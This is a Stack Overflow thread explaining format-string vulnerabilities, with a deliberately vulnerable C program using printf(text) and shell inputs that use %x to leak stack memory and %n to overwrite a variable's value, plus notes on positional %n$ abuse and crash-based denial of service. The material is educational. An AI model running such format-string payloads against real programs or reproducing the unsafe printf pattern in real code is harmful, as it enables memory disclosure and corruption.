68

I was reading about vulnerabilities in code and came across this Format-String Vulnerability.

Wikipedia says:

Format string bugs most commonly appear when a programmer wishes to print a string containing user supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first version interprets buffer as a format string, and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended.

I got the problem with printf(buffer) version, but I still didn't get how this vulnerability can be used by attacker to execute harmful code. Can someone please tell me how this vulnerability can be exploited by an example?

Atul Goyal
  • 3,511
  • 5
  • 39
  • 59
  • 1
    For reference, the buffer overflow attack question is here: http://stackoverflow.com/questions/7344226/buffer-overflow-attack – Mysticial Sep 18 '11 at 05:31
  • possibly related: http://stackoverflow.com/questions/5672996/format-string-vulnerability-printf – Eran Zimmerman Gonen Sep 18 '11 at 05:33
  • @Mehrdad: Why should `printf` pop anything off the stack? It's not like it knows (or cares) how many arguments (or even how big) were originally pushed... – user541686 Sep 18 '11 at 05:33
  • Thanks, I'm familiar with buffer overflow attack, I'm still trying to understand how attacker gains control of return address using printf. Meanwhile if possible, someone plz post an example to make it more clear. – Atul Goyal Sep 18 '11 at 05:34
  • 5
    @Mehrdad: It doesn't **pop** anything off the stack, though. It just reads them. Take note that the caller might have even pushed *more* arguments than the callee expects, and yet the **caller** does the cleanup. The callee doesn't know or care -- all it does is read the data. That's why you can't have callee-cleanup with varargs in C. – user541686 Sep 18 '11 at 05:35
  • I thought you guys were talking to yourselves for a second there... – flight Sep 18 '11 at 05:37
  • 1
    @Mehrdad Now you've got me thinking... seems you're right. It definitely reads more data from stack, but that doesn't necessarily imply popping as it reads. – Mehrdad Afshari Sep 18 '11 at 05:37

5 Answers5

99

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

Mateen Ulhaq
  • 24,552
  • 19
  • 101
  • 135
Michael Foukarakis
  • 39,737
  • 6
  • 87
  • 123
  • 2
    hi, I'm wondering how `$(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n` works? why is "??" printed out for the whole lot in front? How did it reach the memory address 0x09049794? Thanks a lot – Einheri Jan 09 '14 at 09:25
  • 4
    The ?? is printed becuase $(printf "\x94\x97\x04\x08") will try to convert these values into characters. Because these values are not printable characters, your terminal will print a ? instead. (try printf "\x41\x42\x43\x44", wich will print ABCD because these are valid ascii values) – Freek Kalter Jan 24 '14 at 19:56
20

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.

HamZa
  • 14,671
  • 11
  • 54
  • 75
Jonathan Leffler
  • 730,956
  • 141
  • 904
  • 1,278
9

Ah, the answer is in the article!

Uncontrolled format string is a type of software vulnerability, discovered around 1999, that can be used in security exploits. Previously thought harmless, format string exploits can be used to crash a program or to execute harmful code.

A typical exploit uses a combination of these techniques to force a program to overwrite the address of a library function or the return address on the stack with a pointer to some malicious shellcode. The padding parameters to format specifiers are used to control the number of bytes output and the %x token is used to pop bytes from the stack until the beginning of the format string itself is reached. The start of the format string is crafted to contain the address that the %n format token can then overwrite with the address of the malicious code to execute.

This is because %n causes printf to write data to a variable, which is on the stack. But that means it could write to something arbitrarily. All you need is for someone to use that variable (it's relatively easy if it happens to be a function pointer, whose value you just figured out how to control) and they can make you execute anything arbitrarily.

Take a look at the links in the article; they look interesting.

Community
  • 1
  • 1
user541686
  • 205,094
  • 128
  • 528
  • 886
2

I would recommend reading this lecture note about format string vulnerability. It describes in details what happens and how, and has some images that might help you to understand the topic.

Andrey
  • 853
  • 9
  • 27
0

AFAIK it's mainly because it can crash your program, which is considered to be a denial-of-service attack. All you need is to give an invalid address (practically anything with a few %s's is guaranteed to work), and it becomes a simple denial-of-service (DoS) attack.

Now, it's theoretically possible for that to trigger anything in the case of an exception/signal/interrupt handler, but figuring out how to do that is beyond me -- you need to figure out how to write arbitrary data to memory as well.

But why does anyone care if the program crashes, you might ask? Doesn't that just inconvenience the user (who deserves it anyway)?

The problem is that some programs are accessed by multiple users, so crashing them has a non-negligible cost. Or sometimes they're critical to the running of the system (or maybe they're in the middle of doing something very critical), in which case this can be damaging to your data. Of course, if you crash Notepad then no one might care, but if you crash CSRSS (which I believe actually had a similar kind of bug -- a double-free bug, specifically) then yeah, the entire system is going down with you.


Update:

See this link for the CSRSS bug I was referring to.


Edit:

Take note that reading arbitrary data can be just as dangerous as executing arbitrary code! If you read a password, a cookie, etc. then it's just as serious as an arbitrary code execution -- and this is trivial if you just have enough time to try enough format strings.

Community
  • 1
  • 1
user541686
  • 205,094
  • 128
  • 528
  • 886
  • Thanks Mehrdad, I think crashing a program would still be generally easier than being able to run your own code. So, specifically I'm looking for an answer to execution of attacker's code. But still I must upvote for a good answer :) – Atul Goyal Sep 18 '11 at 05:37
  • 1
    @Atul: Haha thanks. :) Yeah, if anyone can come up with an actual arbitrary code execution example then I'd DEFINITELY want to see it! – user541686 Sep 18 '11 at 05:38
  • @Atul: I posted another answer, from the article itself. If I manage to write the code then I'll do that, too -- but that one is a direct attack of the kind you're looking for. – user541686 Sep 18 '11 at 05:41
  • 8
    This answer is nonsense. You should delete it in light of your *correct* answer. – Gabe Sep 18 '11 at 05:48
  • @Gabe: Why is it nonsense? DoS is an attack, isn't it? Also, an exception handler that tries to handle an access violation (by calling a function through a pointer or something) could cause this to execute unintended code, right? It's not likely, but still possible. – user541686 Sep 18 '11 at 05:49
  • 1
    The OP wanted to know how `printf` can be exploited to execute harmful code. You wrote about a DoS attack. That may be an exploit, but it doesn't explain how to execute harmful code. The CSRSS doesn't use `printf`, so it doesn't answer the OP's question either. – Gabe Sep 18 '11 at 05:59
  • @Gabe: I'll probably leave it here, just because I think the information can still be useful to someone who might see it later. Sorry you didn't find it helpful. – user541686 Sep 18 '11 at 06:00
  • @Gabe: I think Mehrdad's point is fair enough as even though it's not about how an attacker can execute his code, but still it touches an important exploit using the vulnerability in question. To me, this answer is not non-sense atleast. – Atul Goyal Sep 18 '11 at 06:07